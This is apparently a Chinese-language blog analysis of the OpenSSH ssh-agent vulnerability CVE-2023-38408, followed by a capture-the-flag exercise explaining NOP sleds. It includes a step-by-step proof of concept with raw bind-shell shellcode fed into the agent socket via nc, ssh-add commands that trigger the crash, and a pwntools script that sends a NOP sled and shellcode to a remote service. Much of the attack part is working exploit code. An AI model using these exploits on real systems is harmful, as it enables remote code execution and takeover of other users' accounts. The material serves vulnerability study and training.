CVE-2023-38408-Brief-analysis

img

介绍

SSH(Secure Shell)是一种加密的网络传输协议。主要用来在客户端和服务器之间建立安全通信隧道。使用SSH进行远程登录,信息传输是加密的,即使信息被中途截获也不会泄露。OpenSSH软件套件负责SSH协议的实现。

23年七月爆出来OpenSSH(9.3p2版本以前)的一个CVE,用户使用 SSH-Agent 代理转发功能连接攻击者恶意服务器时,由于 SSH-Agent 未对加载的共享库进行限制,攻击者可通过将恶意共享库作为参数传递给 SSH-Agent 并通过其调用 dlopen/dlclose 函数加载 / 卸载位于用户客户端主机的共享库,实现远程代码执行。

攻击流程如图:

img
  • 攻击者通过SSH连接到服务器
  • Alice也通过SSH连接到服务器,此时Alice使用SSH转发代理连接到攻击者。
  • 攻击者创建shellcode, 通过ssh进程发送给目标服务器
  • shellcode利用ssh-agent的PKCS#11漏洞创建一个新进程,劫持Alice的ssh访问权限
  • 成功执行该攻击后,攻击者可能会访问绑定shell(shell代码),该shell可以使用netcat进行访问。

准备工作

目标:提升redqueenrebel权限,损害alice账户

机器:

  • workstation: 受害者机器
  • kali 攻击者机器

用户:

  • redqueenrebel: 非特权用户
  • alice: workstation的root用户
  • root: hacker

POC

首先我们已经完成攻击的第一、二步,也即两个用户已经有权通过SSH访问服务器。

  1. 获取在远程攻击者计算机上运行的 SSH 代理的 PID ,并导出到环境变量。我们还通过 ssh-add 添加了文件 linuxx64.elf.stub(UEFI 引导存根)

    1
    2
    3
    echo /tmp/ssh-*/agent.*
    export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
    ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
image-20240104233548210
  1. 通过SSH把 shellcode复制到进程中

    1
    2
    3
    SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
    (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

一旦 shellcode 成功放入代理内存中,直接按CtrlC,停止 netcat 传输。

image-20240104233746664
  1. 通过ssh-add上传:ibttcn3-rt2-dynamic.so、libKF5SonnetUi.so.5.92.0 和 libns3.35-wave.so.0.0.0,触发SIGSEGV漏洞。

    SIGSEGV 是Linux和类Unix系统中的一个信号,它表示"Segmentation Fault"(分段错误)。当一个程序尝试访问未分配给它的内存区域,或者访问已经被释放的内存区域,就会触发 SIGSEGV 信号。收到 SIGSEGV 信号后,内核会识别出发生了无效内存访问,并继续调用自定义信号处理程序,而不是突然终止程序。此时攻击者会操纵程序的执行,并将其引导至位于 NOP 雪橇内的注入恶意代码。

    1
    2
    3
    4
    5
    6
    7
    ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
    [Enter for passphrase]
    ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
    [Enter for passphrase]
    ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
    [Enter for passphrase]

  2. 成功提Alice的权,映射到端口31337上。

    image-20240104235222726

PS1 nop-sled

nop是一条不做任何操作的单指令,对应的十六进制编码为0x90。这里nop将被用作欺骗因子。通过创建一个大的NOP指令数组并将其放在shellcode之前,如果EIP返回到存储nop sled的任意地址,那么在达到shellcode之前,每执行一条nop指令,EIP都会递增。这就是说只要返回地址被nop sled中的某一地址所重写,EIP就会将sled滑向将正常执行的shellcode。 以一个简单程序的pwn解释:

image-20240105203131190

32位,canary保护开了,但没开NX和PIE,所以还是可以把shellcode写到栈上执行的。

反汇编main函数时报错:

image-20240105212226312

由于F5在分析调用时,未能成功解析参数位置/参数个数, 解决方法:就是先undefine掉函数,在右键现在code,之后Creat function 就可以正常反编译了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
void (*v5)(void); // [esp+0h] [ebp-1010h]
unsigned int seed; // [esp+4h] [ebp-100Ch]
unsigned int v7; // [esp+1004h] [ebp-Ch]
int *v8; // [esp+1008h] [ebp-8h]
int savedregs; // [esp+1010h] [ebp+0h]

v8 = &argc;
v7 = __readgsdword(0x14u);
setbuf(stdout, 0);
logo();
srand((unsigned int)&seed);
Loading();
acquire_satellites();
v3 = query_position();
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v3);
printf("What will you do?\n> ");
fgets((char *)&seed, 4096, stdin);
printf("Where do you start?\n> ");
__isoc99_scanf("%p", &v5);
return sub_8048A22(v5, (int)&savedregs);
}

query_position函数

1
2
3
4
5
6
char *query_position()
{
char v1; // [esp+3h] [ebp-15h]

return &v1 + rand() % 1337 - 668;
}

程序执行逻辑是:

  • 输出栈中的地址
  • 输入字符串赋给seed
  • 输入地址赋给v5
  • 使用v5(),从输入的地址,执行该地址的代码

如果在栈中的某个位置填入大量nop指令再接上shellcode,随后控制程序的执行流从nop指令开始执行,则程序就会一直执行之前填入的nop,然后就是shellcode,从而成功pwn掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.arch = "i386"
#context.log_level = "debug"

# io = process("./pwn")
io = remote("xxxx","xxxx")
io.recvuntil("current location: ")
# 接收position
addr = eval(io.recvuntil("\n",drop=True))
print hex(addr)
# \x90为nop指令
payload = b"\x90" * 1336 + asm(shellcraft.sh())
io.recvuntil("> ")
io.sendline(payload)
# 输进v5的地址
shell_addr = addr + 0x2d + 668
io.recvuntil("> ")
io.sendline(hex(shell_addr))
io.interactive()

image-20240105235100666